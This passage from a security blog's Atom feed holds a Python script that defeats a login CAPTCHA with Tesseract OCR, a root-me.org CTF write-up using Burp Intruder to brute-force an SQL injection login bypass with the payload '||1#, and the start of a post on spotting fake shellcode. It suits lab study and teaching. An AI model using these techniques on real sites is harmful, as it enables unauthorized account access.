&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmgBIYMbK6Z4VDqgJ0YTt1M34GuDe7ffQ8f4Ks1WjY35bq1W88CLZHUJj7mOeE4_z_gB0yw4zI8U_bShQOtbssgvfUSPTHlcJxHULTU9udTQMt5Avb8Oq9VaYx308PxUHe3RJI6ylhP3NP/s1600/Screenshot+2020-03-24+at+3.42.42+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;851&quot; data-original-width=&quot;1600&quot; height=&quot;340&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmgBIYMbK6Z4VDqgJ0YTt1M34GuDe7ffQ8f4Ks1WjY35bq1W88CLZHUJj7mOeE4_z_gB0yw4zI8U_bShQOtbssgvfUSPTHlcJxHULTU9udTQMt5Avb8Oq9VaYx308PxUHe3RJI6ylhP3NP/s640/Screenshot+2020-03-24+at+3.42.42+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote style=&quot;clear: both;&quot;&gt;
from PIL import Image&lt;br /&gt;import subprocess&lt;br /&gt;import requests&lt;br /&gt;import cv2&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote style=&quot;clear: both;&quot;&gt;
# I need to define a static cookie as it&#39;s used for verification on the captcha&lt;br /&gt;# this cookie is set as valid if you pass the auth&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote style=&quot;clear: both;&quot;&gt;
cookies = { &quot;PHPSESSID&quot;: &quot;8jadummyecookiefu12erm1923a;&quot; }&lt;br /&gt;url = &#39;https://domain.com/UiUser/secure?sid=0.6974342321354128&#39;&amp;nbsp;&lt;/blockquote&gt;
&lt;blockquote style=&quot;clear: both;&quot;&gt;
r = requests.get(url, cookies=cookies)&lt;br /&gt;with open(&#39;im.png&#39;, &#39;wb&#39;) as f:&lt;br /&gt;&amp;nbsp; &amp;nbsp; f.write(r.content)&lt;br /&gt;# Tesseract to the rescue&lt;br /&gt;try:&lt;br /&gt;&amp;nbsp; &amp;nbsp; r = subprocess.check_output([&quot;tesseract&quot;, &quot;im.png&quot;, &quot;-&quot;, &quot;--psm&quot;, &quot;13&quot;, &quot;--dpi&quot;, &quot;70&quot;]).decode(&#39;utf8&#39;).strip()&lt;br /&gt;&amp;nbsp; &amp;nbsp; # Got the captcha we need to authorize the same session that was used&lt;br /&gt;&amp;nbsp; &amp;nbsp; params = {&quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded; charset=UTF-8&quot;}&lt;br /&gt;&amp;nbsp; &amp;nbsp; datapost = &quot;login-email=user%40domain.com&amp;amp;login-pwd=mypasswordhere%3D%3D&amp;amp;login-yanzheng=&quot;+r+&quot;&amp;amp;memory=false&quot;&lt;br /&gt;&amp;nbsp; &amp;nbsp; r2 = requests.post( &quot;https://domain.com/user/index/verify&quot;, headers=params, data=datapost, cookies= cookies, timeout=35)&lt;br /&gt;except:&lt;br /&gt;&amp;nbsp; &amp;nbsp; print(&quot;Couldn&#39;t get captcha&quot;)&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
There are some things that could be optimised on the script as checking proper return code of the request and re-issue in case is not successful the login, but overall it has a rough 90-95% accuracy.&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/6533292169934978212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2020/03/solving-captcha-using-burp-suite-proxy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/6533292169934978212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/6533292169934978212'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2020/03/solving-captcha-using-burp-suite-proxy.html' title='Solving CAPTCHA using Burp suite proxy and mitmproxy.'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcnBkLZnbVa7oX8b6-1LNdPvTTBy1kUJHN-2cZk1sEJ1BfvhiigAXIwjxnazkQ8axkWcoJZCUpJ5STjIXsAhr0zVmMifbtxcG_oK5CbumwE4pxUS0ZzUjC4_Y9USyPxsjB4L43TqPekGl5/s72-c/Screenshot+2020-03-24+at+2.58.28+PM.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-574926021178622387</id><published>2020-03-12T16:20:00.000+02:00</published><updated>2020-03-12T16:20:14.547+02:00</updated><title type='text'>Using Burp Intruder for auth bypass - CTF, root-me.org / BSCorp - Linux</title><content type='html'>This is a small post on using Burp&#39;s Intruder to bypass login authentication.&lt;br /&gt;
&lt;br /&gt;
The idea for this post is from a CTF challenge on root-me.org.&lt;br /&gt;
&lt;br /&gt;
I will not be sharing information about how one will reach on this state as I wouldn&#39;t like to spoil the fun on it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The initial page that the user will see after proceeding in the challenge will be the following:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVY7aC2RkYvZPW4kApqiStdzXotyxN2KtHzGR-mgPDHdBBetjkn1LSKt7fXBAzbwGyPuBuOkdPcww7xGzZWQKpTR-JYjtjDWdAzO1qM_xfiVD_8xyfHdUSlMgJma3UwRuM_wY-CIoXyWn9/s1600/Screenshot+2020-03-12+at+3.02.05+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;885&quot; data-original-width=&quot;1600&quot; height=&quot;352&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVY7aC2RkYvZPW4kApqiStdzXotyxN2KtHzGR-mgPDHdBBetjkn1LSKt7fXBAzbwGyPuBuOkdPcww7xGzZWQKpTR-JYjtjDWdAzO1qM_xfiVD_8xyfHdUSlMgJma3UwRuM_wY-CIoXyWn9/s640/Screenshot+2020-03-12+at+3.02.05+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
With no apparent information about the login, trying with &#39;abc&#39; as username and password will give the following result:&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsOWiTmVmCzGs4Fk1R_KAqA1edxPon9HEulWOlhz0M-t2__87XPH1u9pCWbgwQKG5l2nyXuT8XOgkT9xqSyHov3lTcFtL5WcQXmLTrNmSBKtK0AMchC730voWp_RBA-XczmM61i2OU-lD6/s1600/Screenshot+2020-03-12+at+3.02.19+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;875&quot; data-original-width=&quot;1600&quot; height=&quot;347&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsOWiTmVmCzGs4Fk1R_KAqA1edxPon9HEulWOlhz0M-t2__87XPH1u9pCWbgwQKG5l2nyXuT8XOgkT9xqSyHov3lTcFtL5WcQXmLTrNmSBKtK0AMchC730voWp_RBA-XczmM61i2OU-lD6/s640/Screenshot+2020-03-12+at+3.02.19+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
It&#39;s clear that there is some filtering implemented that are blocking some characters.&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The first thing is to identify which characters are allowed. This can be done on Burp using intruder.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Intercept your login request and pass it to intruder as shown below:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6QClV4eMkHwsLGjg9BvPacE_vQqbz9h-EE5VGvoFIJDMe1iCyJYgbU8xRElzN55igVD8qb4rO-2ZeV0MiA3C7qyzZA83vM3o6VqUmzr8YrFVF6_6i8GRWWTzb1G1IBeh6fWke_wdSi9qC/s1600/Screenshot+2020-03-12+at+3.13.44+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;867&quot; data-original-width=&quot;1600&quot; height=&quot;346&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6QClV4eMkHwsLGjg9BvPacE_vQqbz9h-EE5VGvoFIJDMe1iCyJYgbU8xRElzN55igVD8qb4rO-2ZeV0MiA3C7qyzZA83vM3o6VqUmzr8YrFVF6_6i8GRWWTzb1G1IBeh6fWke_wdSi9qC/s640/Screenshot+2020-03-12+at+3.13.44+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
On the intruder tab select sub-tab &#39;Positions&#39; and clear all selections. Select the &#39;abc&#39; value on the log= and add it as payload position.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhutjHxxl3YLWrzTKcKRTw4W3AvekbExgqI52sQ1ek2ziLsS3TixtluO0kD35TeBiOz9SOGSEtgc7wtZgC-LELPBjwKOSzv_5xnTEDAp9QyDo24vBB0SmodmpDuU10mGoFpe2aQr5V1L1Vp/s1600/Screenshot+2020-03-12+at+3.17.27+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;878&quot; data-original-width=&quot;1600&quot; height=&quot;350&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhutjHxxl3YLWrzTKcKRTw4W3AvekbExgqI52sQ1ek2ziLsS3TixtluO0kD35TeBiOz9SOGSEtgc7wtZgC-LELPBjwKOSzv_5xnTEDAp9QyDo24vBB0SmodmpDuU10mGoFpe2aQr5V1L1Vp/s640/Screenshot+2020-03-12+at+3.17.27+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Browse to the sub tab, select Payload set 1, Payload type &#39;List&#39; and populate the list with. Simply use a notepad and input all possible characters one by one. I used a notepad and copy paste the entries on Burp.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcoe7g1RmNv0RRTU0QMGkd09ZPX8An-8JL4BioctOgQAsBlsOj4TxmjXYsdkwcWiaWkecwssj97O8MxpWlb5eRmKZPCIPv0_RSlVo2LCgeOuAeqJSoHxbHbAYc5TvHkYpEdlIc761vHid4/s1600/Screenshot+2020-03-12+at+3.30.01+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;883&quot; data-original-width=&quot;1600&quot; height=&quot;352&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcoe7g1RmNv0RRTU0QMGkd09ZPX8An-8JL4BioctOgQAsBlsOj4TxmjXYsdkwcWiaWkecwssj97O8MxpWlb5eRmKZPCIPv0_RSlVo2LCgeOuAeqJSoHxbHbAYc5TvHkYpEdlIc761vHid4/s640/Screenshot+2020-03-12+at+3.30.01+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Start the attack and observe the results.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9k-vy7oluv967aXLnL8aREVj_oCPS3Q4qzS8xwep-Gwcv58zc1zKSH7OcatdGVS-NQlswxNPZjfX5-GkGD-qeoTYRpYvxfrJCPfdMZzSwmjVyLmpy9Hjv5wQcxQHuFQmOZa5BGRYujrAa/s1600/Screenshot+2020-03-12+at+3.36.25+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;909&quot; data-original-width=&quot;1600&quot; height=&quot;362&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9k-vy7oluv967aXLnL8aREVj_oCPS3Q4qzS8xwep-Gwcv58zc1zKSH7OcatdGVS-NQlswxNPZjfX5-GkGD-qeoTYRpYvxfrJCPfdMZzSwmjVyLmpy9Hjv5wQcxQHuFQmOZa5BGRYujrAa/s640/Screenshot+2020-03-12+at+3.36.25+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
As you can see above some requests are passing and some are giving an error message&#39; Bad characters detected&#39;&lt;br /&gt;
&lt;br /&gt;
The next step will be to exclude these bad characters and keep the valid ones.&amp;nbsp; One can choose to select all remaining characters or limit the set to specific ones.&lt;br /&gt;
&lt;br /&gt;
References:&amp;nbsp;&lt;a href=&quot;https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/&quot;&gt;https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;http://www.lifeoverpentest.com/2018/03/sql-injection-login-bypass-cheat-sheet.html&quot;&gt;http://www.lifeoverpentest.com/2018/03/sql-injection-login-bypass-cheat-sheet.html&lt;/a&gt;&amp;nbsp;.&lt;br /&gt;
&lt;br /&gt;
From the links above the set of 19 characters could be reduced to 6, which are the followings, &quot;# (&amp;nbsp; | &#39; / 1&quot; .&amp;nbsp; The rest characters that are valid as possible entries have no value to as for a potential auth bypass.&lt;br /&gt;
&lt;br /&gt;
To create an iteration of these values in the intruder, change the payload type to &#39;Custom iterator&#39; and paste the values.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieHUAAgApwzxpqxtzzV9V9OxU8RSYD9DjKASDaO7w1H7Bj_DrOTklz_SxCXEN6bI3Ze0eXDwM1kVqvR4BeRz8oOfphlNOIs_dODKzGuH8jCbCEvFbGGrbvkDDAnt3FGoIXWrRgpjy4nrUd/s1600/Screenshot+2020-03-12+at+4.08.31+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;848&quot; data-original-width=&quot;1600&quot; height=&quot;338&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieHUAAgApwzxpqxtzzV9V9OxU8RSYD9DjKASDaO7w1H7Bj_DrOTklz_SxCXEN6bI3Ze0eXDwM1kVqvR4BeRz8oOfphlNOIs_dODKzGuH8jCbCEvFbGGrbvkDDAnt3FGoIXWrRgpjy4nrUd/s640/Screenshot+2020-03-12+at+4.08.31+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
As we don&#39;t know how many characters will be needed for the attack we can start with 2 positions and increase them adding the same values to each position.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB3JYNY175heBKzBc7VR-JE3bd2IYh6v-gcxnaQ4vKkSwluHZVLaR7mIEphlbh4rClWY8Ngizbb2wqkVVBvqiOA7VkEpvRZpZuUXTQKRldKNWFuUA7MrIGyTQuahqN79O3snZHNLWvR_78/s1600/Screenshot+2020-03-12+at+4.10.31+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;742&quot; data-original-width=&quot;1492&quot; height=&quot;318&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB3JYNY175heBKzBc7VR-JE3bd2IYh6v-gcxnaQ4vKkSwluHZVLaR7mIEphlbh4rClWY8Ngizbb2wqkVVBvqiOA7VkEpvRZpZuUXTQKRldKNWFuUA7MrIGyTQuahqN79O3snZHNLWvR_78/s640/Screenshot+2020-03-12+at+4.10.31+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Start the attack and check on the output. If you don&#39;t see it successful, try adjusting the Position count by increasing it and repeating the values.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
In these case you are creating random values with all 6 characters which are used as attack patterns.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
For our attack on the specific environment a value of length 5 was the one that was successful.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
This can be seen on intruder on the following way:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqQbJHWyRfNR89mRZ_sO-H_V-2oqOHuGlaWORfzUWJURH8Zg-O3HXZeWNjuarp3ZRDdXyNZK3ECPM4Lz6AJneYsbsvvitHqL7l746ItkQVaBcDBf8wlLjO6C6DC71rQ7ZJbMH6dT8DOSK_/s1600/Screenshot+2020-03-12+at+4.14.32+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;910&quot; data-original-width=&quot;1600&quot; height=&quot;362&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqQbJHWyRfNR89mRZ_sO-H_V-2oqOHuGlaWORfzUWJURH8Zg-O3HXZeWNjuarp3ZRDdXyNZK3ECPM4Lz6AJneYsbsvvitHqL7l746ItkQVaBcDBf8wlLjO6C6DC71rQ7ZJbMH6dT8DOSK_/s640/Screenshot+2020-03-12+at+4.14.32+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The login request that is created with payload &#39;||1# is giving a 302 redirect.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Trying the value on the web page itself,&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiocL2VWQ3e9axCacH4nBSs6I9kNshPFgldYv3E55rIZCU9jeTvZ9x4TXQyR04qJWbCyWP-xUZBKtD1qkDpS27Z87V6_jSUietL7SgLDm6pEVKx8anj-_5nzF_kK01b5VBmFhPQtK1YSz-X/s1600/Screenshot+2020-03-12+at+1.50.15+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;844&quot; data-original-width=&quot;1600&quot; height=&quot;336&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiocL2VWQ3e9axCacH4nBSs6I9kNshPFgldYv3E55rIZCU9jeTvZ9x4TXQyR04qJWbCyWP-xUZBKtD1qkDpS27Z87V6_jSUietL7SgLDm6pEVKx8anj-_5nzF_kK01b5VBmFhPQtK1YSz-X/s640/Screenshot+2020-03-12+at+1.50.15+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Will allow us to bypass authentication and login on the portal.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAuEjXle-iGkv56Hl16soWkP74WwuSu58Vc6DYsDFa1WqZ879OBrZJlfQlm-HCfrb38asF8STTG9ojS56N9UZvrART10h1hnTrUOePcg5Pnxb1YZo-7XWjpFgOcAVpP5PlBLA-tDYEUAJA/s1600/Screenshot+2020-03-12+at+1.50.30+PM.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;793&quot; data-original-width=&quot;1600&quot; height=&quot;316&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAuEjXle-iGkv56Hl16soWkP74WwuSu58Vc6DYsDFa1WqZ879OBrZJlfQlm-HCfrb38asF8STTG9ojS56N9UZvrART10h1hnTrUOePcg5Pnxb1YZo-7XWjpFgOcAVpP5PlBLA-tDYEUAJA/s640/Screenshot+2020-03-12+at+1.50.30+PM.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/574926021178622387/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2020/03/using-burp-intruder-for-auth-bypass-ctf.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/574926021178622387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/574926021178622387'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2020/03/using-burp-intruder-for-auth-bypass-ctf.html' title='Using Burp Intruder for auth bypass - CTF, root-me.org / BSCorp - Linux'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVY7aC2RkYvZPW4kApqiStdzXotyxN2KtHzGR-mgPDHdBBetjkn1LSKt7fXBAzbwGyPuBuOkdPcww7xGzZWQKpTR-JYjtjDWdAzO1qM_xfiVD_8xyfHdUSlMgJma3UwRuM_wY-CIoXyWn9/s72-c/Screenshot+2020-03-12+at+3.02.05+PM.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-6071019401971950137</id><published>2013-07-30T10:59:00.000+03:00</published><updated>2013-07-30T10:59:01.441+03:00</updated><title type='text'>Identifying fake shellcode - quick guide</title><content type='html'>Identifying the fakes&lt;br /&gt;
&lt;br /&gt;
Yesterday I notice one exploit for Microsoft Remote Desktop, with the name &quot;Microsoft Remote Desktop User/Password Reader Exploit&quot; (http://cxsecurity.com/issue/WLB-2013070218).&lt;br /&gt;
&lt;br /&gt;
Even looking at the title this should bring a warning but as I was in a hurry I made a tweet about it adding a warning that this was not tested for validity. &lt;br /&gt;
&lt;br /&gt;
It&#39;s always good before testing the exploits even if this is going to be done in a VM or generally easy restored environment to have a look at the code and even if one is not a experienced coder or exploit developer, can easily spot alarming things.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s have a look on the exploit mentioned.&lt;br /&gt;
&lt;br /&gt;
Note 1:&lt;br /&gt;
The title of the exploit doesn&#39;t seem to make sense as MS12-020 is not related to any &quot;User/Password Reader&quot; MS12-020 is based on a use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packed when set to a value equal or less than 5.&lt;br /&gt;
(&lt;a href=&quot;http://www.exploit-db.com/exploits/18606/&quot;&gt;http://www.exploit-db.com/exploits/18606/&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;
Note 2:&amp;nbsp; &lt;br /&gt;
Looking at the code, there are 2 parts where a shellcode can be identified. &lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Section 1&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
